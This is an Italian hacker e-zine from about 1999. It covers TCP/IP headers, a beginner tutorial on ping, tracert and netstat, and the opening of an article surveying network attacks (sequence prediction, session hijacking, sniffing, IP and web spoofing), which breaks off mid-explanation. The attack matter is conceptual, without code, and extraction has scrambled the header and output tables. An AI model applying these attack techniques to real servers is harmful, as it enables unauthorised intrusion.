Riprendiamo...
dovrebbe a questo punto essere chiaro il quantomeno ostico schema di
indirizzamento TCP/IP, oltre che il concetto sul quale si basa qualsiasi
domscan.
Il compito di aggiungere l'ip sorgente e destinazione spetta al livello della
rete che, ad ogni pacchetto aggiunge la seguente intestazione o header che dir
si voglia:
0
15 16
31
---------------------------------------------------------------------| 4-bit | 4-bit |
8-bit TOS
|
16-bit total lenght
|
|version|head.len| Type Of Service|
(in bytes)
|
---------------------------------------------------------------------|
16-bit
| 3-bit|
13-bit
|
|
identification
| flags|
fragment offset
|
---------------------------------------------------------------------|
8-bit TTL
|
8-bit
|
16-bit
|
| time to live |
protocol
|
header checksum
|
---------------------------------------------------------------------|
32-bit source IP address
|
---------------------------------------------------------------------|
32-bit destination IP address
|
---------------------------------------------------------------------/
options
/
---------------------------------------------------------------------\
data
\
----------------------------------------------------------------------
/
|
|
|
|
|
|
|
20
bytes
|
|
|
|
\
tuttavia per stabilire una connessione affidabile non e' sufficente il solo IP
in quanto, similmente all'UDP, fornisce un servizio di tipo inaffidabile,
ConnectionLess, le informazioni sono trasmesse come unit… indipendenti, in
altre parole non e' detto che la sequenza di invio dei dati sia la stessa con
la quale essi giungono a destinazione quindi, se il computer ricevente
richiede l'invio di dati sequenziali capite bene che sono problemi non
indifferenti, inoltre non e' detto che i dati giungano a destinazione.
Delegato a rendere affidabile una connessione e' l'header TCP, che viene
aggiunto dal livello di trasporto...
0
15 16
31
/
---------------------------------------------------------------------|
| 16-bit source port number
|
16-bit destination port number |
|
---------------------------------------------------------------------|
|
32-bit sequence number
|
|
---------------------------------------------------------------------|
|
32-bit acknowledgment number
|
20
---------------------------------------------------------------------- bytes
| 4-bit | reserved |U|A|P|R|S|F|
|
|
| header |
|R|C|S|S|Y|I|
16-bit window size
|
|
| lenght | (6-bits) |G|K|H|T|N|N|
|
|
---------------------------------------------------------------------|
|
16-bit checksum
|
16-bit urgent pointer
|
---------------------------------------------------------------------/
options
/
---------------------------------------------------------------------\
data
\
----------------------------------------------------------------------
|
\
il TCP fornisce un servizio di tipo Connection-Oriented o affidabile, le
informazioni sono trasmesse come una sequenza di byte inoltre, come potete
vedere, nell'header TCP troviamo tutto cio' che serve a mantenere il controllo
della connessione.
Bene, credo che a questo punto il mio compito sia finito, se volete il
commento dettagliato degli header e, siete curiosi di sapere come si
stabilisce una connessione TCP/IP leggetevi BFI4, precisamente [ PR0GETT0
0N0S3NDAi - PARTE I ] scritto da FuSyS, avrete cosi' una panoramica completa.
Se e' la prima volta che affrontate il TCP/IP vi consiglio di non prendere
subito in considerazione le varie tecniche di spoofing (e' solo un consiglio).
Alla prossima...
[ DarkSide ]
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
NETWORK UTILITIES FOR DUMMIES
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Cenni sul TCP/IP
Questa sigla che molti dei lettori conosceranno indica il protocollo che e'
alla base del funzionamento di Internet e di moltissime reti locali; in
realta' non si tratta di un solo protocollo, ma di due, che consentono in
sostanza a un computer di essere rintracciabile nell'ambito della rete e di
scambiare flussi (stream) di dati con altri computer.
In realta' i protocolli TCP e IP sono solo una parte di un complesso di
protocolli che vanno dal livello piu' basso, in cui si specificano i
parametri elettrici e in generale fisici dei mezzi di trasmissione, a quello
piu' alto che definisce il modo in cui le funzionalita' di rete sono
presentate dall'applicazione all'utente. Questo complesso si chiama OSI
(Open Systems Interconnection), e in pratica ognuno dei protocolli che lo
costituisce si appoggia al precedente, formando una pila, o stack, ed ecco
perche', parlando dell'implementazione delle funzionalita' di rete nei nostri
computer, si parla di "stack TCP/IP".
Il protocollo, dei due, di livello piu' basso, e' l'IP, o Internet Protocol.
Esso si colloca al terzo livello nella gerarchia OSI, detto livello di rete,
e come gli altri protocolli incapsula i dati che trasporta con delle
informazioni supplementari che consentono la comunicazione fra computer. Di
tali informazioni, quella che interessa in questa sede e' il cosiddetto
Indirizzo IP, che e' quel famoso numero diviso in quattro parti che sara'
capitato di vedere, per esempio, nella barra di stato del nostro browser.
L'indirizzo IP e' un numero di 32 bit che viene assegnato al computer in
maniera tale che questo sia l'unico nella rete con quell'indirizzo e
identifichi il computer stesso.
Al di sopra del protocollo IP ci sono due protocolli, che sono il TCP e l'UDP.
Il primo, detto Circuito Virtuale, e' il piu' famoso, ed e' usato per molti
dei servizi di rete piu' usati, come l'HTTP (pagine web), l'NNTP (news) e il
POP3 (posta); esso fa si' che i due computer che dialogano vedano un flusso
ordinato di dati, come se la comunicazione avvenisse direttamente, tranne
ovviamente i ritardi dovuti alla trasmissione. E' il protocollo che si occupa
della gestione degli errori, delle ritrasmissioni, dei pacchetti persi o
duplicati, e il programma destinatario riceve i dati nello stesso ordine in
cui il mittente li ha mandati. Il protocollo UDP detto anche Datagram e'
invece privo di queste funzionalita', e' piu' semplice ma anche piu' insicuro;
in particolare non garantisce l'ordine di arrivo dei pacchetti e nemmeno che
arrivino.
I programmi di rete a riga di comando
Tutti i sistemi operativi con funzionalita' di rete, fra cui le varie versioni
di Windows e di Unix, mettono a disposizione dei programmi per testare lo
stato di particolari aspetti della rete, o di singole macchine ad essa
collegate. Questi programmi sono a riga di comando, il che significa che per
utilizzarli bisogna aprire una shell e digitare il nome del programma seguito
da eventuali parametri. In Windows 9x o NT "aprire una shell" significa
cliccare su Avvio (o Start), e scegliere Programmi -> Prompt di MS-DOS; in
alternativa, Avvio (o Start) -> Esegui... e scrivere "command.com" seguito
dal tasto Enter. In Unix, se si e' in ambiente grafico X-Window, bisogna
aprire una console, mentre se siamo in ambiente a riga di comando possiamo
lanciare i programmi direttamente (al limite passando a un'altro terminale
virtuale con ALT+<Tasto_Funzione>).
I suddetti programmi di rete sono principalmente tre: ping, traceroute e
netstat. Nel seguito vedremo brevemente ognuno di questi tre.
Ping: Ci sei o no?
Il comando ping serve principalmente a vedere se una certa macchina di rete
e' attiva oppure no, ed ha la seguente forma:
C:\WINDOWS>ping /?
Sintassi: ping [-t] [-a] [-n numero] [-l lunghezza] [-f] [-i TTL] [-v TOS]
[-r numero] [-s numero] [[-j elenco-host] | [-k elenco-host]]
[-w timeout] elenco-destinazioni
Opzioni:
-t
Esegue Ping sull'host specificato finche' non viene interrotto.
Per vedere le statistiche e continuare, premere Control-Inter;
per interrompere, premere Control-C.
-a
Risolve gli indirizzi in nomi host.
-n numero
Invia numero di richieste di eco.
-l lunghezza
Invia dimensione buffer.
-f
Imposta il flag Non frammentare nel pacchetto.
-i TTL
Vita pacchetto.
-v TOS
Tipo di servizio.
-r count
Registra route per il conteggio dei punti di passaggio.
-s count
Marca orario per il conteggio dei punti di passaggio.
-j elenco-host Instradamento libero lungo l'elenco host.
-k elenco-host Instradamento ristretto lungo l'elenco host.
-w timeout
Timeout in millisecondi per ogni risposta.
C:\WINDOWS>
Come si puo' vedere, i parametri accessori sono diversi; i piu' importanti
sono il primo e l'ultimo, che specificano rispettivamente di continuare
indefinitamente e di aspettare la risposta al massimo fino al tempo
specificato. E' importante anche il -r, che permette di misurare quanti
passaggi intermedi bisogna attraversare per raggiungere il computer
specificato.
Vediamo un esempio che funziona sicuramente, qualunque sia il computer da cui
trasmettiamo:
C:\WINDOWS>ping 127.0.0.1
Esecuzione di Ping 127.0.0.1 con 32 byte di dati:
Risposta
Risposta
Risposta
Risposta
da
da
da
da
127.0.0.1:
127.0.0.1:
127.0.0.1:
127.0.0.1:
byte=32
byte=32
byte=32
byte=32
Statistiche Ping per 127.0.0.1:
durata<10ms
durata<10ms
durata<10ms
durata<10ms
TTL=64
TTL=64
TTL=64
TTL=64
Pacchetti: Trasmessi = 4, Ricevuti = 4, Persi = 0 (0% persi),
Tempo approssimativo percorsi andata/ritorno in millisecondi:
Minimo = 0ms, Massimo = 0ms, Medio = 0ms
C:\WINDOWS>
Come forse saprete, 127.0.0.1 e' un indirizzo IP speciale, che indica sempre
la macchina locale, infatti un'alias predefinito per questo indirizzo e'
localhost:
C:\WINDOWS>ping localhost
Esecuzione di Ping bejor [127.0.0.1] con 32 byte di dati:
Risposta
Risposta
Risposta
Risposta
da
da
da
da
127.0.0.1:
127.0.0.1:
127.0.0.1:
127.0.0.1:
byte=32
byte=32
byte=32
byte=32
durata=1ms TTL=64
durata<10ms TTL=64
durata<10ms TTL=64
durata<10ms TTL=64
Statistiche Ping per 127.0.0.1:
Pacchetti: Trasmessi = 4, Ricevuti = 4, Persi = 0 (0% persi),
Tempo approssimativo percorsi andata/ritorno in millisecondi:
Minimo = 0ms, Massimo = 1ms, Medio = 0ms
C:\WINDOWS>
Come si puo' vedere, se si utilizza un nome alfanumerico invece di un
indirizzo IP, ping risponde evidenziando il vero nome della macchina pingata
(nell'esempio, bejor e' il nome che ho dato al mio computer) e fra parentesi
quadre l'indirizzo IP. Ping invia alla macchina destinazione 4 pacchetti da
32 byte ciascuno, e per ciascuno di essi riporta delle statistiche: in
particolare, il numero di byte spediti, il tempo impiegato e il Tempo di Vita
dei pacchetti stessi. Infine, vengono mostrate le statistiche cumulative
della sessione, cioe' la percentuale delle trasmissioni andate a buon fine e
i tempi di andata/ritorno impiegati. Nel caso si pinghi la macchina locale
tali valori sono poco significativi, per cui e' interessante vedere cosa dice
il ping nel caso lo si testi su una macchina remota:
C:\WINDOWS>ping volftp.tin.it
Esecuzione di Ping cam.ca.tin.it [195.31.191.10] con 32 byte di dati:
Richiesta scaduta.
Risposta da 195.31.191.10: byte=32 durata=940ms TTL=246
Risposta da 195.31.191.10: byte=32 durata=626ms TTL=246
Risposta da 195.31.191.10: byte=32 durata=471ms TTL=246
Statistiche Ping per 195.31.191.10:
Pacchetti: Trasmessi = 4, Ricevuti = 3, Persi = 1 (25% persi),
Tempo approssimativo percorsi andata/ritorno in millisecondi:
Minimo = 471ms, Massimo = 940ms, Medio = 509ms
C:\WINDOWS>
Quella sera il server di VolFTP doveva essere abbastanza carico, dato che,
dei 4 pacchetti "sonda", uno e' andato perso, cioe' la relativa risposta non
e' mai arrivata, mentre le altre tre risposte sono arrivate dopo un tempo
relativamente lungo... la prima addirittura dopo "ben" quasi un secondo. Come
la statistica riepilogativa riporta, il tempo medio di risposta dal computer
pingato, in quel momento, era di circa mezzo secondo.
Vediamo invece cosa succede nel caso in cui la macchina pingata non risponda:
C:\WINDOWS>ping cardassia
Esecuzione di Ping cardassia [212.42.11.154] con 32 byte di dati:
Host
Host
Host
Host
di
di
di
di
destinazione
destinazione
destinazione
destinazione
irraggiungibile.
irraggiungibile.
irraggiungibile.
irraggiungibile.
Statistiche Ping per 212.42.11.154:
Pacchetti: Trasmessi = 4, Ricevuti = 0, Persi = 4 (100% persi),
Tempo approssimativo percorsi andata/ritorno in millisecondi:
Minimo = 0ms, Massimo = 0ms, Medio = 0ms
C:\WINDOWS>
Per questo esempio, ho modificato il mio file C:\Windows\hosts associando al
nome cardassia l'indirizzo IP 212.42.11.154, totalmente inventato. Non
essendoci una macchina con quel nome e quell'indirizzo collegata al mio
computer, ping ha risposto col messaggio "Host di destinazione
irraggiungibile." e riportando la perdita di tutti e 4 i pacchetti inviati
(che si sono persi nell'iperspazio, dato che il mio computer non ha per ora
schede di rete attaccate e in quel momento non ero connesso a Internet). Nel
caso in cui si ottenga una risposta del genere, pero', non e' detto che la
macchina destinazione sia spenta e/o scollegata dalla rete. Dal momento che
il ping puo' essere usato per sferrare degli attacchi contro un computer in
rete, una macchina puo' essere programmata per ignorare i ping ad essa
diretti, e in tal caso l'output di ping sarebbe del tipo di quello mostrato
sopra anche se la macchina remota e' funzionante e collegata alla rete.
Ricordo infine che quello descritto e' il ping come funziona sul mio sistema
Windows 95a con Winsock 2.2 e Accesso Remoto 1.3; con altre versioni e/o altri
sistemi operativi il funzionamento o le opzioni possono differire (per
esempio, sotto Unix l'invio dei pacchetti continua finche' non si termina il
programma).
Il DNS: dimmi come ti chiami e ti diro' che numero hai
Si e' parlato sopra di alias e nomi alfanumerici, oltre che di indirizzi IP.
E' utile a questo punto chiarire alcune cose a questo proposito. Anzitutto, i
programmi che usiamo per la posta, il web, l'ftp e qualunque altro servizio
di rete, e le implementazioni dei protocolli nei vari sistemi operativi,
usano e capiscono esclusivamente gli indirizzi IP numerici di 4 byte. I nomi
alfanumerici, o Alias, del tipo volftp.tin.it, invece, sono stati introdotti
per facilitare l'uso dei suddetti programmi (si pensi alla scomodita' di dover
ricordare o trascrivere un indirizzo di diverse cifre, rispetto alla facilita'
di ricordare un nome di computer come quello arcinoto appena menzionato). E'
stato quindi necessario introdurre un servizio di rete che permettesse, dato
un nome alfanumerico di computer, di risalire all'indirizzo IP; tale servizio
si chiama DNS (Domain Name Service), ed e' svolto da macchine che contengono
dei database in cui a un nome alfanumerico viene associato un indirizzo IP.
Nei sistemi Unix e Windows esiste un file "hosts" nella directory di sistema,
che contiene delle righe del tipo:
127.0.0.1
212.42.11.154
212.42.11.154
[eccetera...]
localhost
cardassia.pippo.net
miocomputer.pippo.it
Come si vede, e' possibile associare lo stesso indirizzo IP a diversi nomi
alfanumerici. Le macchine che forniscono il servizio DNS cooperano fra loro,
dato che non e' possibile mettere tutto il database dei nomi in un solo
computer, sia per la dimensione che per la variabilita'; nel caso di una rete
aziendale la cosa sarebbe fattibile, ma Internet copre tutto il pianeta... In
ogni caso, e' grazie a questo servizio che e' possibile evitare di scrivere
il numero IP nella riga di indirizzo del browser, cosa che diventa invece
indispensabile se il DNS del nostro provider e' temporaneamente fuori uso
(succede...). In casi del genere, infatti, la rete e' perfettamente
funzionante, ma qualunque nome da noi inserito risulterebbe inesistente per
il client che usiamo, dato che non c'e' il server DNS che lo traduce.
Traceroute: Come si arriva a un computer remoto
Traceroute ("Traccia la Rotta") e' un programma che serve a determinare quale
percorso segue un collegamento dal nostro computer a una qualunque altra
macchina della rete. Vediamo i suoi parametri:
C:\WINDOWS>tracert -?
Sintassi: tracert [-d] [-h max_salti] [-j elenco-host] [-w timeout]
nome_destinazione
Opzioni:
-d
-h max_salti
Non risolve gli indirizzi in nome host.
Numero massimo di punti di passaggio per ricercare
la destinazione.
Instradamento libero lungo l'elenco host.
Timeout in millisecondi per ogni risposta.
-j elenco-host
-w timeout
C:\WINDOWS>
Il nome del computer destinazione e' l'unico parametro obbligatorio. Come si
puo' vedere, e' possibile specificare anche un numero massimo di tappe
intermedie, una lista di macchine intermedie per cui si deve obbligatoriamente
passare, e un tempo massimo di risposta. Da notare che i parametri accettati
possono variare in funzione della versione del programma e del sistema
operativo in cui ci troviamo.
Proviamo per esempio a vedere che distanza ci separa da un server fra i piu'
noti e richiesti, cioe' quello di VolFTP. Apriamo una shell (Prompt DOS se
sotto Windows, bash, csh o qualunque altra se sotto Unix), e scriviamo:
C:\WINDOWS>tracert volftp.tin.it
Rilevazione instradamento verso cam.ca.tin.it [195.31.191.10]
su un massimo di 30 punti di passaggio:
1 1787 ms 2211
2 2610 ms 1326
3 3098 ms 2099
4 1976 ms 3040
[151.99.9.181]
5
*
*
6
*
*
7 2555 ms 1736
8
*
*
9 2221 ms 2606
10
*
*
11
*
*
12
*
*
ms
ms
ms
ms
ms
ms
1721
1348
1729
2394
ms
ms
ms
ms
*
*
3118 ms
3029 ms
*
*
*
1753 ms
pppsrv05.stm.it [195.62.32.50]
world.stm.it [195.62.32.11]
eth0-ibs-gw.stm.it [195.62.34.2]
r-rm2-torreargentina.interbusiness.it
Richiesta scaduta.
Richiesta scaduta.
r-mi5-rm5-atm.interbusiness.it [151.99.101.1]
r-mi6-fa2.interbusiness.it [151.99.100.37]
r-tin-mi6-atm.interbusiness.it [151.99.107.134]
Richiesta scaduta.
Richiesta scaduta.
cam.ca.tin.it [195.31.191.10]
Rilevazione completata.
C:\WINDOWS>
NOTA: Sotto Unix il comando non e' tracert ma traceroute.
Come si puo' vedere dal messaggio introduttivo, il comando traceroute riesce
a rintracciare un computer remoto se questo non e' separato dal nostro da piu'
di trenta tappe intermedie (questi "punti di passaggio" in termine tecnico
sono detti Hops o "salti"). Il messaggio introduttivo ci dice anche che
volftp.tin.it si chiama in realta' cam.ca.tin.it e che il suo indirizzo IP e'
195.31.191.10.
Di seguito il programma mostra il percorso completo che separa il computer da
cui viene eseguito traceroute dal computer che si vuole tracciare. Il primo
elemento della lista e' il POP a cui siamo collegati, nel caso di un
collegamento tramite provider: l'esempio sopra si riferisce a un traceroute
verso volftp.tin.it lanciato dal mio computer di casa (il mio provider e'
Agora' Telematica). Il POP a cui ero collegato era pppsrv05.stm.it, e per
arrivare da quest'ultima macchina a cam.ca.tin.it sono stati compiuti altri
11 passaggi.
I numeri sulle tre colonne di sinistra indicano il tempo in millisecondi
trascorso in attesa della risposta del server a cui la riga si riferisce, e
l'asterisco significa che la risposta non e' arrivata entro il tempo massimo
di attesa. Dal valore dei tempi di risposta si puo' intuire la bonta' del
collegamento verso l'host destinazione: nell'esempio sopra riportato, lo
stato del collegamento e' pessimo (addirittura tempi sopra i 3 secondi), e
quindi si puo' supporre che, per esempio, un download da VolFTP in quel
momento andrebbe assai lento. In alcuni casi nessuna delle tre risposte e'
arrivata, per cui traceroute mostra il messaggio "Richiesta scaduta." invece
del nome del server. In generale, piu' bassi sono i tempi delle tre colonne
di sinistra e migliore e' la qualita' del collegamento verso la macchina
destinazione.
Qual e' l'utilita' di questo programma? Per esempio, se notiamo che il
collegamento verso un sito web o ftp (o qualunque altro servizio) e' lento,
possiamo usare traceroute per vedere il percorso seguito dai pacchetti, e in
base all'output di traceroute e' possibile capire se il problema dipende dal
nostro provider, dalla macchina destinazione, da una macchina intermedia o da
un tratto di linea fisica che unisce due di queste. Oppure, se dobbiamo
scaricare un file piuttosto pesante e conosciamo almeno 2 siti ftp che lo
contengono, con traceroute possiamo stabilire da quale sito conviene
effettuare il download.
Netstat: chi c'e' in ascolto?
L'ultimo programma di rete che esamineremo si chiama netstat, che ha i
seguenti argomenti:
C:\WINDOWS>netstat /?
Visualizza statistiche su protocollo e connessioni di rete TCP/IP correnti.
NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [intervallo]
-a
-e
-n
-p proto
-r
-s
intervallo
visualizzazione
Visualizza tutte le connessioni e le porte di ascolto.
Visualizza le statistiche Ethernet. L'opzione puo' essere
associata all'opzione -s.
Visualizza gli indirizzi e i numeri di porta in forma numerica.
Visualizza connessioni del protocollo specificato da 'proto';
'proto' puo' essere TCP o UDP. Se usato con l'opzione -s per le
statistiche, 'proto' puo' essere TCP, UDP, o IP.
Visualizza la tabella di routing.
Visualizza le statistiche per protocollo. Per impostazione
predefinita, le statistiche sono visualizzate per TCP, UDP
e IP; l'opzione -p puo' essere utilizzata per specificare
un sottoinsieme dell'impostazione predefinita.
Rivisualizza le statistiche selezionate, interrompendo
per un numero di secondi pari a "intervallo" tra ogni
visualizzazione. Premere Control-C per fermare la
delle statistiche. Se omesso, netstat stampera' le informazioni
di configurazione correnti una sola volta.
C:\WINDOWS>
Il significato dei parametri opzionali e' ben spiegato nell'help in linea.
Vediamo un primissimo esempio:
C:\WINDOWS>netstat -na
Connessioni attive
Proto
Indirizzo locale
Indirizzo remoto
Stato
C:\WINDOWS>
Questo e' quel che dovrebbe apparire eseguendo netstat su un computer senza
servizi di rete installati e senza collegamenti attivi, cioe' nulla. Se
invece, sotto tali condizioni, netstat mostra delle connessioni in ascolto,
e' il caso di rivedere la configurazione del sistema e/o di cercare bene la
presenza di programmi di amministrazione/intrusione remota, come i famigerati
NetBus o Back Orifice. Vediamo ora alcune statistiche che e' possibile
ottenere con netstat.
C:\WINDOWS>netstat -na
Connessioni attive
Proto
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
Indirizzo locale
0.0.0.0:0
0.0.0.0:1026
0.0.0.0:1028
0.0.0.0:1035
0.0.0.0:1036
0.0.0.0:1037
0.0.0.0:1038
195.62.37.17:1026
195.62.37.17:1028
195.62.37.17:1035
195.62.37.17:1036
195.62.37.17:1037
195.62.37.17:1038
Indirizzo remoto
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
195.62.32.254:119
195.62.32.254:119
194.133.0.17:80
194.133.0.17:80
194.133.0.17:80
194.133.0.17:80
Stato
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
ESTABLISHED
ESTABLISHED
CLOSE_WAIT
CLOSE_WAIT
CLOSE_WAIT
CLOSE_WAIT
C:\WINDOWS>
Qui ho chiesto a netstat di mostrare tutte le connessioni attive usando gli
indirizzi numerici per la macchina locale e quella remota. Omettendo
l'opzione "n" avremmo ottenuto i nomi alfanumerici sia per i computer che per
le porte (i numeri dopo il ":"), cosa che avrebbe reso un po' piu' lunga
l'esecuzione di netstat a causa delle necessarie richieste al DNS.
Tralasciando le righe con indirizzi 0.0.0.0, il significato di questo output
e' che nel momento in cui netstat e' stato eseguito c'erano in corso due
connessioni al server di news (porta 119 remota), mentre erano in fase di
chiusura 4 connessioni a un sito web (porta 80 remota). Se le righe di
netstat usato con queste opzioni terminano con ESTABLISHED, denotano una
connessione attiva, su cui stanno viaggiando dati; LISTENING indica un
demone, detto anche server, che e' in attesa di connessioni su una determinata
porta, mentre CLOSE_WAIT e TIME_WAIT indicano una connessione in via di
chiusura, in diverse fasi del procedimento.
Da notare che su un computer domestico, in condizioni normali, non dovrebbero
esserci righe che terminano con LISTENING. Un'eccezione e' costituita da
macchine su cui e' installato e in esecuzione il famigerato Personal Web
Server (TM) di Microsoft, che permette di gestire un sito web "casalingo" e
come tutti i server web si mette in ascolto sulla porta 80. Piu' grave e' il
caso in cui "qualcosa" risulti in ascolto su porte oltre la 1023, in
particolare su numeri molto alti (per esempio 31337 o 12345). In questi casi,
occorre controllare che non ci siano intrusi nel sistema, soprattutto se non
si ha ICQ, altro programma che ascolta su porte alte. Per quel che riguarda
le porte, sia Windows che Unix hanno nella directory di sistema un file di
nome "services" che contiene la mappatura dei servizi standard, come il web,
la posta e le news (e molti altri), situati su porte <1024.
C:\WINDOWS>netstat -es
Statistiche interfaccia
Ricevuti
Byte
Pacchetti unicast
Pacchetti non-unicast
Scarto
Errori
Protocolli sconosciuti
Trasmessi
349919
881
10
0
0
23
56810
769
10
0
0
Statistiche IP
Pacchetti ricevuti
Errori di intestazione ricevuti
Errori di indirizzo ricevuti
Datagrammi inoltrati
Protocolli sconosciuti ricevuti
Pacchetti ricevuti scartati
Pacchetti ricevuti consegnati
Richieste di output
Routing scartati
Pacchetti di output scartati
=
=
=
=
=
=
=
=
=
=
882
0
5
0
0
0
882
774
0
0
Pacchetti output senza route
Richieste di riassemblaggio
Riassemblaggi riusciti
Errori di riassemblaggio
Datagrammi frammentati
Errori frammentazione datagrammi
Frammenti creati
=
=
=
=
=
=
=
0
0
0
0
0
0
0
Statistiche ICMP
Messaggi
Errori
Desti. irraggiungibile
Tempo scaduto
Problemi di parametro
Quench sorgente
Reindirizzamenti
Echo
Risposte echo
Marcature orario
Risposte marcatura orario
Mask indirizzo
Risposte mask indirizzo
Ricevuti
23
0
0
0
0
0
0
8
12
0
0
0
0
Trasmessi
23
0
0
0
0
0
0
12
8
0
0
0
0
Statistiche TCP
Aperture attive
Aperture passive
Tentativi connessione non riusciti
Connessioni reimpostate
Connessioni correnti
Segmenti ricevuti
Segmenti trasmessi
Segmenti ritrasmessi
=
=
=
=
=
=
=
=
10
0
0
4
6
852
725
19
Statistiche UDP
Datagrammi Ricevuti
Nessuna porta
Errori in ricezione
Datagrammi trasmessi
=
=
=
=
5
15
0
5
C:\WINDOWS>
Le opzioni "e" ed "s" forniscono delle statistiche riassuntive sulla
connessione in generale, e le denominazioni dei vari valori sono abbastanza
esplicative. Esaminando questo output si puo' capire la bonta' della nostra
connessione e della nostra linea.
C:\WINDOWS>netstat -r
Tabella di Route
Route attive:
Indirizzo rete
0.0.0.0
127.0.0.0
195.62.38.0
195.62.38.6
195.62.38.255
224.0.0.0
255.255.255.255
Maschera Indirizzo gateway
0.0.0.0
195.62.38.6
255.0.0.0
127.0.0.1
255.255.255.0
195.62.38.6
255.255.255.255
127.0.0.1
255.255.255.255
195.62.38.6
224.0.0.0
195.62.38.6
255.255.255.255
195.62.38.6
Interfac.
195.62.38.6
127.0.0.1
195.62.38.6
127.0.0.1
195.62.38.6
195.62.38.6
195.62.38.6
Connessioni attive
Proto
TCP
TCP
Indirizzo locale
bejor:1026
bejor:1028
Indirizzo remoto
news.stm.it:nntp
news.stm.it:nntp
Stato
ESTABLISHED
ESTABLISHED
Metric
1
1
1
1
1
1
1
C:\WINDOWS>
Infine, l'ultimo output esaminato ci permette di avere una "mappa stradale"
della rete nei dintorni del nostro computer. La seconda riga e' relativa
all'indirizzo locale, mentre le successive danno indicazioni su come il
nostro computer riesce ad andare in rete, cioe' su quale macchina funge da
"cancello" (gateway) verso la rete.
Conclusioni
Questa piccola rassegna non pretende di esaurire l'argomento, per il quale
occorrerebbe un'intera enciclopedia, ma e' un punto di partenza che la
curiosita' personale puo' eventualmente approfondire. Segnalate pure errori o
imprecisioni, il mio indirizzo web e' in fondo all'articolo. Per chi mastica
l'inglese, una raccolta utile di documenti in cui vengono esposti i vari
servizi della rete, fra cui quelli citati qui, e' costituita dalle RFC, file
di testo che contengono i dettagli dei vari protocolli e i comandi che ognuno
di essi accetta... scoprite per esempio come si puo' leggere la posta da un
terminale carattere (come il Prompt MS-DOS) facendo telnet sulla porta 110.
Ciaociao. :-)))
e-mail: [email protected]
home page di Security FAQ: http://members.xoom.com/gouldukat/
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
DALLA PARTE DEI SYSADMIN
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Articolo redatto da Alpha-666 o Zeros
30/04/1999 12.36 AM
Irc.tin.it #hackernow
Parte nø1.
Nonostante questo articolo sembri in contro tendenza con l'argomentazione
generare proposta nell'e-zine, esso puo' dare una maggiore visione d'insieme
sulle tecniche di attacco e difesa di un server. Per cominciare esistono
differenti tipi di attacchi:
1) l'attacco a previsione della sequenza di numeri dei protocolli TCP/IP
rappresenta la forma piu' semplice di attacco;
2) il dirottamento di sessioni TCP rappresenta la piu' grave minaccia per i
sistemi sicuri;
3) lo "sniffing" dei pacchetti in passaggio nella rete in genere precede un
dirottamento o uno "spoofing"
4) con lo sfoofing, l'hacher si sostituisce a un indirizzo IP per emulare un
server fidato in una connessione di rete esistente;
5) gli attacchi passivi, che fanno uso di "sniffer", sono attualmente molto
comuni in Internet;
6) molti attacchi si concentrano sulla violazione o sull'alterazione delle
trasmissioni trasmissioni HTTP o delle connessioni TCP in corso;
7) attaccare installazioni di server SSL (Secure Socket Layer) gli attacchi
possono utilizzare la tecnica hyperlink spoofing;
8) la tecnica del Web-spoofing offre agli hacker il modo di intercettare
tutte le trasmissioni che un utente o un server si scambiano durante una
serie di transazioni HTTP;
Spiegazione:
1) Il tipo piu' semplice.
Ogni computer della rete ha un proprio IP univoco, infatti ogni computer
connesso ad una rete allega a ogni pacchetto trasmesso l'indirizzo IP di
destinazione e un numero univoco chiamato numero di sequenza. All'interno
di una connesione TCP; il computer ricevente accetta solo pacchetti con
l'indirizzo IP e il numero di sequenza corretto. Inoltre molti dispositivi
di sicurezza, inclusi i router, consentono trasmissioni in rete solo verso
e da computer con determinati indirizzi IP. L'attacco a previsione del numero
di sequenza TCP/IP utilizza il modo in cui le rete indirizzano i computer e
creano la sequennza di pacchetti. In pratica l'hacker esegue l'attacco a
previsione del numeri di sequenza TCP/IP in due fasi. Nella prima fase cerca
di determinare l'indirizzo IP del server, generelmente mettendosi in ascolto
dai pacchetti Internet, provando a specificare in ordine vari numeri di host
oppure connettendosi al sito mediate browser Web e osservando l'indirizzo IP
nella barra di stato. Poiche' l'hacker sa che gli altri computer della rete
condividono una parte di indirizzo IP del server, cerchera' di simulare un
indirizzo IP che gli consenta di by-passare il router e di accedere al
sistema come fosse un utente interno. Ad esempio un sistema ha l'indirizzoo
IP 192.0.0.17, sapendo che in una rete di Classe C vi possono essere fino a
256 computer, potra' carcare di indivinare gli indirizzi modificandone
solamente l'ultimo byte. Naturalmente come tutti sanno gli indirizzi IP
